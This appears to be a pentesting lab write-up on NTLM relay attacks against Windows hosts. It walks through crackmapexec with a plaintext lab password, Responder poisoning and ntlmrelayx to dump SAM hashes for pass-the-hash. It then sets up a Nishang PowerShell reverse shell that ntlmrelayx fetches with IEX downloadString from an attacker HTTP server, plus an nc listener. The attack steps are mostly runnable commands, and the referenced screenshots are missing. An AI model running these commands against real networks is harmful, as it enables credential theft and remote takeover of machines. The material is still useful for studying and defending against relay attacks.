# NTLM Relay
Imagine we have a user that is Administrator in other computer. We could use its power to extract the SAM hashes, even execute remote commands.
For example:
Sara Ardila is now Administrator over Carlos Villamizar (computer).
```bash
crackmapexec smb 10.10.10.0/24 -u 'sara.ardila' -p 'Sar@91082'
```
## Extract SAM hashes
We need to create a file of targets (in this case PC-CARLOS):
And then, update the Responder.py configuration:
> From here
```bash
sudo python3 Responder/Responder.py -I eth0
```
Now, execute ntlmrelayx:
```bash
python3 ntlmrelayx.py -tf targets.txt -smb2support
```
So, knowing that Sara is administrator over Carlos, we need to wait for a connection from Sara with a service or task. Using that poisoning on the network, we can trick the connection to travel across the network and end in our Responder, this will lead to take the privileges from the user Sara over Carlos and will do the magic using the ntlmrelayx.py program.
In Responder:
And ntlmrelayx:
And we are dumping SAM hashes, with these we can do Pass-The-Hash.
## Execute remote commands
From here
```bash
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .
mv Invoke-PowerShellTcp.ps1 ipst.ps1
```
Take the line 20:
```powershell
19 │ .EXAMPLE
20 │ PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
```
Copy its content to the bottom of the file and change the values:
Now, serve that file and start a listener in the 4460 port to receive the PowerShell Reverse Shell:
```bash
➧ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```
```bash
➧ nc -lvp 4460
listening on [any] 4460 ...
```
Now, execute ntlmrelayx:
```bash
python3 ntlmrelayx.py -tf targets.txt -smb2support -c "powershell IEX(New-Object Net.WebClient).downloadString('http://172.16.200.7:8000/ipst.ps1')"
```
With this, we are reaching the file in our server and importing its content, as we have the last line uncommented, that line will be executed after being imported.
Now, start our Responder (remember, with SMB and HTTP `Off`):
```bash
sudo python3 Responder/Responder.py -I eth0
```
Wait for the connection from Sara to a invalid or down service/task/folder:
In our listener:
We are inside CarlosPC exploiting the privilege from Sara in CarlosPC :O
